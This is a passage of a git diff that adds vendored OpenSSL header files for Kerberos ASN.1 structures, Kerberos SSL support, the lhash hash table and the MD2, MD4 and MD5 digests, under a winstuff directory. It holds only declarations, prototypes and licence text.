cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_KRB5_ASN_H +#define HEADER_KRB5_ASN_H + +/* +#include +*/ +#include + +#ifdef __cplusplus +extern "C" { +#endif + + +/* ASN.1 from Kerberos RFC 1510 +*/ + +/* EncryptedData ::= SEQUENCE { +** etype[0] INTEGER, -- EncryptionType +** kvno[1] INTEGER OPTIONAL, +** cipher[2] OCTET STRING -- ciphertext +** } +*/ +typedef struct krb5_encdata_st + { + ASN1_INTEGER *etype; + ASN1_INTEGER *kvno; + ASN1_OCTET_STRING *cipher; + } KRB5_ENCDATA; + +DECLARE_STACK_OF(KRB5_ENCDATA) + +/* PrincipalName ::= SEQUENCE { +** name-type[0] INTEGER, +** name-string[1] SEQUENCE OF GeneralString +** } +*/ +typedef struct krb5_princname_st + { + ASN1_INTEGER *nametype; + STACK_OF(ASN1_GENERALSTRING) *namestring; + } KRB5_PRINCNAME; + +DECLARE_STACK_OF(KRB5_PRINCNAME) + + +/* Ticket ::= [APPLICATION 1] SEQUENCE { +** tkt-vno[0] INTEGER, +** realm[1] Realm, +** sname[2] PrincipalName, +** enc-part[3] EncryptedData +** } +*/ +typedef struct krb5_tktbody_st + { + ASN1_INTEGER *tktvno; + ASN1_GENERALSTRING *realm; + KRB5_PRINCNAME *sname; + KRB5_ENCDATA *encdata; + } KRB5_TKTBODY; + +typedef STACK_OF(KRB5_TKTBODY) KRB5_TICKET; +DECLARE_STACK_OF(KRB5_TKTBODY) + + +/* AP-REQ ::= [APPLICATION 14] SEQUENCE { +** pvno[0] INTEGER, +** msg-type[1] INTEGER, +** ap-options[2] APOptions, +** ticket[3] Ticket, +** authenticator[4] EncryptedData +** } +** +** APOptions ::= BIT STRING { +** reserved(0), use-session-key(1), mutual-required(2) } +*/ +typedef struct krb5_ap_req_st + { + ASN1_INTEGER *pvno; + ASN1_INTEGER *msgtype; + ASN1_BIT_STRING *apoptions; + KRB5_TICKET *ticket; + KRB5_ENCDATA *authenticator; + } KRB5_APREQBODY; + +typedef STACK_OF(KRB5_APREQBODY) KRB5_APREQ; +DECLARE_STACK_OF(KRB5_APREQBODY) + + +/* Authenticator Stuff */ + + +/* Checksum ::= SEQUENCE { +** cksumtype[0] INTEGER, +** checksum[1] OCTET STRING +** } +*/ +typedef struct krb5_checksum_st + { + ASN1_INTEGER *ctype; + ASN1_OCTET_STRING *checksum; + } KRB5_CHECKSUM; + +DECLARE_STACK_OF(KRB5_CHECKSUM) + + +/* EncryptionKey ::= SEQUENCE { +** keytype[0] INTEGER, +** keyvalue[1] OCTET STRING +** } +*/ +typedef struct krb5_encryptionkey_st + { + ASN1_INTEGER *ktype; + ASN1_OCTET_STRING *keyvalue; + } KRB5_ENCKEY; + +DECLARE_STACK_OF(KRB5_ENCKEY) + + +/* AuthorizationData ::= SEQUENCE OF SEQUENCE { +** ad-type[0] INTEGER, +** ad-data[1] OCTET STRING +** } +*/ +typedef struct krb5_authorization_st + { + ASN1_INTEGER *adtype; + ASN1_OCTET_STRING *addata; + } KRB5_AUTHDATA; + +DECLARE_STACK_OF(KRB5_AUTHDATA) + + +/* -- Unencrypted authenticator +** Authenticator ::= [APPLICATION 2] SEQUENCE { +** authenticator-vno[0] INTEGER, +** crealm[1] Realm, +** cname[2] PrincipalName, +** cksum[3] Checksum OPTIONAL, +** cusec[4] INTEGER, +** ctime[5] KerberosTime, +** subkey[6] EncryptionKey OPTIONAL, +** seq-number[7] INTEGER OPTIONAL, +** authorization-data[8] AuthorizationData OPTIONAL +** } +*/ +typedef struct krb5_authenticator_st + { + ASN1_INTEGER *avno; + ASN1_GENERALSTRING *crealm; + KRB5_PRINCNAME *cname; + KRB5_CHECKSUM *cksum; + ASN1_INTEGER *cusec; + ASN1_GENERALIZEDTIME *ctime; + KRB5_ENCKEY *subkey; + ASN1_INTEGER *seqnum; + KRB5_AUTHDATA *authorization; + } KRB5_AUTHENTBODY; + +typedef STACK_OF(KRB5_AUTHENTBODY) KRB5_AUTHENT; +DECLARE_STACK_OF(KRB5_AUTHENTBODY) + + +/* DECLARE_ASN1_FUNCTIONS(type) = DECLARE_ASN1_FUNCTIONS_name(type, type) = +** type *name##_new(void); +** void name##_free(type *a); +** DECLARE_ASN1_ENCODE_FUNCTIONS(type, name, name) = +** DECLARE_ASN1_ENCODE_FUNCTIONS(type, itname, name) = +** type *d2i_##name(type **a, const unsigned char **in, long len); +** int i2d_##name(type *a, unsigned char **out); +** DECLARE_ASN1_ITEM(itname) = OPENSSL_EXTERN const ASN1_ITEM itname##_it +*/ + +DECLARE_ASN1_FUNCTIONS(KRB5_ENCDATA) +DECLARE_ASN1_FUNCTIONS(KRB5_PRINCNAME) +DECLARE_ASN1_FUNCTIONS(KRB5_TKTBODY) +DECLARE_ASN1_FUNCTIONS(KRB5_APREQBODY) +DECLARE_ASN1_FUNCTIONS(KRB5_TICKET) +DECLARE_ASN1_FUNCTIONS(KRB5_APREQ) + +DECLARE_ASN1_FUNCTIONS(KRB5_CHECKSUM) +DECLARE_ASN1_FUNCTIONS(KRB5_ENCKEY) +DECLARE_ASN1_FUNCTIONS(KRB5_AUTHDATA) +DECLARE_ASN1_FUNCTIONS(KRB5_AUTHENTBODY) +DECLARE_ASN1_FUNCTIONS(KRB5_AUTHENT) + + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ + +#ifdef __cplusplus +} +#endif +#endif + diff --git a/winstuff/openssl/kssl.h b/winstuff/openssl/kssl.h new file mode 100644 index 0000000..a3d20e1 --- /dev/null +++ b/winstuff/openssl/kssl.h @@ -0,0 +1,179 @@ +/* ssl/kssl.h -*- mode: C; c-file-style: "eay" -*- */ +/* Written by Vern Staats for the OpenSSL project 2000. + * project 2000. + */ +/* ==================================================================== + * Copyright (c) 2000 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * licensing@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +/* +** 19990701 VRS Started. +*/ + +#ifndef KSSL_H +#define KSSL_H + +#include + +#ifndef OPENSSL_NO_KRB5 + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* +** Depending on which KRB5 implementation used, some types from +** the other may be missing. Resolve that here and now +*/ +#ifdef KRB5_HEIMDAL +typedef unsigned char krb5_octet; +#define FAR +#else + +#ifndef FAR +#define FAR +#endif + +#endif + +/* Uncomment this to debug kssl problems or +** to trace usage of the Kerberos session key +** +** #define KSSL_DEBUG +*/ + +#ifndef KRB5SVC +#define KRB5SVC "host" +#endif + +#ifndef KRB5KEYTAB +#define KRB5KEYTAB "/etc/krb5.keytab" +#endif + +#ifndef KRB5SENDAUTH +#define KRB5SENDAUTH 1 +#endif + +#ifndef KRB5CHECKAUTH +#define KRB5CHECKAUTH 1 +#endif + +#ifndef KSSL_CLOCKSKEW +#define KSSL_CLOCKSKEW 300; +#endif + +#define KSSL_ERR_MAX 255 +typedef struct kssl_err_st { + int reason; + char text[KSSL_ERR_MAX+1]; + } KSSL_ERR; + + +/* Context for passing +** (1) Kerberos session key to SSL, and +** (2) Config data between application and SSL lib +*/ +typedef struct kssl_ctx_st + { + /* used by: disposition: */ + char *service_name; /* C,S default ok (kssl) */ + char *service_host; /* C input, REQUIRED */ + char *client_princ; /* S output from krb5 ticket */ + char *keytab_file; /* S NULL (/etc/krb5.keytab) */ + char *cred_cache; /* C NULL (default) */ + krb5_enctype enctype; + int length; + krb5_octet FAR *key; + } KSSL_CTX; + +#define KSSL_CLIENT 1 +#define KSSL_SERVER 2 +#define KSSL_SERVICE 3 +#define KSSL_KEYTAB 4 + +#define KSSL_CTX_OK 0 +#define KSSL_CTX_ERR 1 +#define KSSL_NOMEM 2 + +/* Public (for use by applications that use OpenSSL with Kerberos 5 support */ +krb5_error_code kssl_ctx_setstring(KSSL_CTX *kssl_ctx, int which, char *text); +KSSL_CTX *kssl_ctx_new(void); +KSSL_CTX *kssl_ctx_free(KSSL_CTX *kssl_ctx); +void kssl_ctx_show(KSSL_CTX *kssl_ctx); +krb5_error_code kssl_ctx_setprinc(KSSL_CTX *kssl_ctx, int which, + krb5_data *realm, krb5_data *entity, int nentities); +krb5_error_code kssl_cget_tkt(KSSL_CTX *kssl_ctx, krb5_data **enc_tktp, + krb5_data *authenp, KSSL_ERR *kssl_err); +krb5_error_code kssl_sget_tkt(KSSL_CTX *kssl_ctx, krb5_data *indata, + krb5_ticket_times *ttimes, KSSL_ERR *kssl_err); +krb5_error_code kssl_ctx_setkey(KSSL_CTX *kssl_ctx, krb5_keyblock *session); +void kssl_err_set(KSSL_ERR *kssl_err, int reason, char *text); +void kssl_krb5_free_data_contents(krb5_context context, krb5_data *data); +krb5_error_code kssl_build_principal_2(krb5_context context, + krb5_principal *princ, int rlen, const char *realm, + int slen, const char *svc, int hlen, const char *host); +krb5_error_code kssl_validate_times(krb5_timestamp atime, + krb5_ticket_times *ttimes); +krb5_error_code kssl_check_authent(KSSL_CTX *kssl_ctx, krb5_data *authentp, + krb5_timestamp *atimep, KSSL_ERR *kssl_err); +unsigned char *kssl_skip_confound(krb5_enctype enctype, unsigned char *authn); + +#ifdef __cplusplus +} +#endif +#endif /* OPENSSL_NO_KRB5 */ +#endif /* KSSL_H */ diff --git a/winstuff/openssl/lhash.h b/winstuff/openssl/lhash.h new file mode 100644 index 0000000..d392d0c --- /dev/null +++ b/winstuff/openssl/lhash.h @@ -0,0 +1,200 @@ +/* crypto/lhash/lhash.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +/* Header for dynamic hash table routines + * Author - Eric Young + */ + +#ifndef HEADER_LHASH_H +#define HEADER_LHASH_H + +#include +#ifndef OPENSSL_NO_FP_API +#include +#endif + +#ifndef OPENSSL_NO_BIO +#include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct lhash_node_st + { + void *data; + struct lhash_node_st *next; +#ifndef OPENSSL_NO_HASH_COMP + unsigned long hash; +#endif + } LHASH_NODE; + +typedef int (*LHASH_COMP_FN_TYPE)(const void *, const void *); +typedef unsigned long (*LHASH_HASH_FN_TYPE)(const void *); +typedef void (*LHASH_DOALL_FN_TYPE)(void *); +typedef void (*LHASH_DOALL_ARG_FN_TYPE)(void *, void *); + +/* Macros for declaring and implementing type-safe wrappers for LHASH callbacks. + * This way, callbacks can be provided to LHASH structures without function + * pointer casting and the macro-defined callbacks provide per-variable casting + * before deferring to the underlying type-specific callbacks. NB: It is + * possible to place a "static" in front of both the DECLARE and IMPLEMENT + * macros if the functions are strictly internal. */ + +/* First: "hash" functions */ +#define DECLARE_LHASH_HASH_FN(f_name,o_type) \ + unsigned long f_name##_LHASH_HASH(const void *); +#define IMPLEMENT_LHASH_HASH_FN(f_name,o_type) \ + unsigned long f_name##_LHASH_HASH(const void *arg) { \ + o_type a = (o_type)arg; \ + return f_name(a); } +#define LHASH_HASH_FN(f_name) f_name##_LHASH_HASH + +/* Second: "compare" functions */ +#define DECLARE_LHASH_COMP_FN(f_name,o_type) \ + int f_name##_LHASH_COMP(const void *, const void *); +#define IMPLEMENT_LHASH_COMP_FN(f_name,o_type) \ + int f_name##_LHASH_COMP(const void *arg1, const void *arg2) { \ + o_type a = (o_type)arg1; \ + o_type b = (o_type)arg2; \ + return f_name(a,b); } +#define LHASH_COMP_FN(f_name) f_name##_LHASH_COMP + +/* Third: "doall" functions */ +#define DECLARE_LHASH_DOALL_FN(f_name,o_type) \ + void f_name##_LHASH_DOALL(void *); +#define IMPLEMENT_LHASH_DOALL_FN(f_name,o_type) \ + void f_name##_LHASH_DOALL(void *arg) { \ + o_type a = (o_type)arg; \ + f_name(a); } +#define LHASH_DOALL_FN(f_name) f_name##_LHASH_DOALL + +/* Fourth: "doall_arg" functions */ +#define DECLARE_LHASH_DOALL_ARG_FN(f_name,o_type,a_type) \ + void f_name##_LHASH_DOALL_ARG(void *, void *); +#define IMPLEMENT_LHASH_DOALL_ARG_FN(f_name,o_type,a_type) \ + void f_name##_LHASH_DOALL_ARG(void *arg1, void *arg2) { \ + o_type a = (o_type)arg1; \ + a_type b = (a_type)arg2; \ + f_name(a,b); } +#define LHASH_DOALL_ARG_FN(f_name) f_name##_LHASH_DOALL_ARG + +typedef struct lhash_st + { + LHASH_NODE **b; + LHASH_COMP_FN_TYPE comp; + LHASH_HASH_FN_TYPE hash; + unsigned int num_nodes; + unsigned int num_alloc_nodes; + unsigned int p; + unsigned int pmax; + unsigned long up_load; /* load times 256 */ + unsigned long down_load; /* load times 256 */ + unsigned long num_items; + + unsigned long num_expands; + unsigned long num_expand_reallocs; + unsigned long num_contracts; + unsigned long num_contract_reallocs; + unsigned long num_hash_calls; + unsigned long num_comp_calls; + unsigned long num_insert; + unsigned long num_replace; + unsigned long num_delete; + unsigned long num_no_delete; + unsigned long num_retrieve; + unsigned long num_retrieve_miss; + unsigned long num_hash_comps; + + int error; + } LHASH; + +#define LH_LOAD_MULT 256 + +/* Indicates a malloc() error in the last call, this is only bad + * in lh_insert(). */ +#define lh_error(lh) ((lh)->error) + +LHASH *lh_new(LHASH_HASH_FN_TYPE h, LHASH_COMP_FN_TYPE c); +void lh_free(LHASH *lh); +void *lh_insert(LHASH *lh, void *data); +void *lh_delete(LHASH *lh, const void *data); +void *lh_retrieve(LHASH *lh, const void *data); +void lh_doall(LHASH *lh, LHASH_DOALL_FN_TYPE func); +void lh_doall_arg(LHASH *lh, LHASH_DOALL_ARG_FN_TYPE func, void *arg); +unsigned long lh_strhash(const char *c); +unsigned long lh_num_items(const LHASH *lh); + +#ifndef OPENSSL_NO_FP_API +void lh_stats(const LHASH *lh, FILE *out); +void lh_node_stats(const LHASH *lh, FILE *out); +void lh_node_usage_stats(const LHASH *lh, FILE *out); +#endif + +#ifndef OPENSSL_NO_BIO +void lh_stats_bio(const LHASH *lh, BIO *out); +void lh_node_stats_bio(const LHASH *lh, BIO *out); +void lh_node_usage_stats_bio(const LHASH *lh, BIO *out); +#endif +#ifdef __cplusplus +} +#endif + +#endif + diff --git a/winstuff/openssl/md2.h b/winstuff/openssl/md2.h new file mode 100644 index 0000000..d59c9f2 --- /dev/null +++ b/winstuff/openssl/md2.h @@ -0,0 +1,95 @@ +/* crypto/md/md2.h */ +/* Copyright (C) 1995-1997 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_MD2_H +#define HEADER_MD2_H + +#include /* OPENSSL_NO_MD2, MD2_INT */ +#ifdef OPENSSL_NO_MD2 +#error MD2 is disabled. +#endif +#include + +#define MD2_DIGEST_LENGTH 16 +#define MD2_BLOCK 16 + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct MD2state_st + { + unsigned int num; + unsigned char data[MD2_BLOCK]; + MD2_INT cksm[MD2_BLOCK]; + MD2_INT state[MD2_BLOCK]; + } MD2_CTX; + +const char *MD2_options(void); +#ifdef OPENSSL_FIPS +int private_MD2_Init(MD2_CTX *c); +#endif +int MD2_Init(MD2_CTX *c); +int MD2_Update(MD2_CTX *c, const unsigned char *data, size_t len); +int MD2_Final(unsigned char *md, MD2_CTX *c); +unsigned char *MD2(const unsigned char *d, size_t n,unsigned char *md); +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/md4.h b/winstuff/openssl/md4.h new file mode 100644 index 0000000..ba1fe4a --- /dev/null +++ b/winstuff/openssl/md4.h @@ -0,0 +1,120 @@ +/* crypto/md4/md4.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_MD4_H +#define HEADER_MD4_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef OPENSSL_NO_MD4 +#error MD4 is disabled. +#endif + +/* + * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + * ! MD4_LONG has to be at least 32 bits wide. If it's wider, then ! + * ! MD4_LONG_LOG2 has to be defined along. ! + * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + */ + +#if defined(OPENSSL_SYS_WIN16) || defined(__LP32__) +#define MD4_LONG unsigned long +#elif defined(OPENSSL_SYS_CRAY) || defined(__ILP64__) +#define MD4_LONG unsigned long +#define MD4_LONG_LOG2 3 +/* + * _CRAY note. I could declare short, but I have no idea what impact + * does it have on performance on none-T3E machines. I could declare + * int, but at least on C90 sizeof(int) can be chosen at compile time. + * So I've chosen long... + * + */ +#else +#define MD4_LONG unsigned int +#endif + +#define MD4_CBLOCK 64 +#define MD4_LBLOCK (MD4_CBLOCK/4) +#define MD4_DIGEST_LENGTH 16 + +typedef struct MD4state_st + { + MD4_LONG A,B,C,D; + MD4_LONG Nl,Nh; + MD4_LONG data[MD4_LBLOCK]; + unsigned int num; + } MD4_CTX; + +#ifdef OPENSSL_FIPS +int private_MD4_Init(MD4_CTX *c); +#endif +int MD4_Init(MD4_CTX *c); +int MD4_Update(MD4_CTX *c, const void *data, size_t len); +int MD4_Final(unsigned char *md, MD4_CTX *c); +unsigned char *MD4(const unsigned char *d, size_t n, unsigned char *md); +void MD4_Transform(MD4_CTX *c, const unsigned char *b); +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/md5.h b/winstuff/openssl/md5.h new file mode 100644 index 0000000..0761f84 --- /dev/null +++ b/winstuff/openssl/md5.h @@ -0,0 +1,120 @@ +/* crypto/md5/md5.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_MD5_H +#define HEADER_MD5_H + +#include +#include + 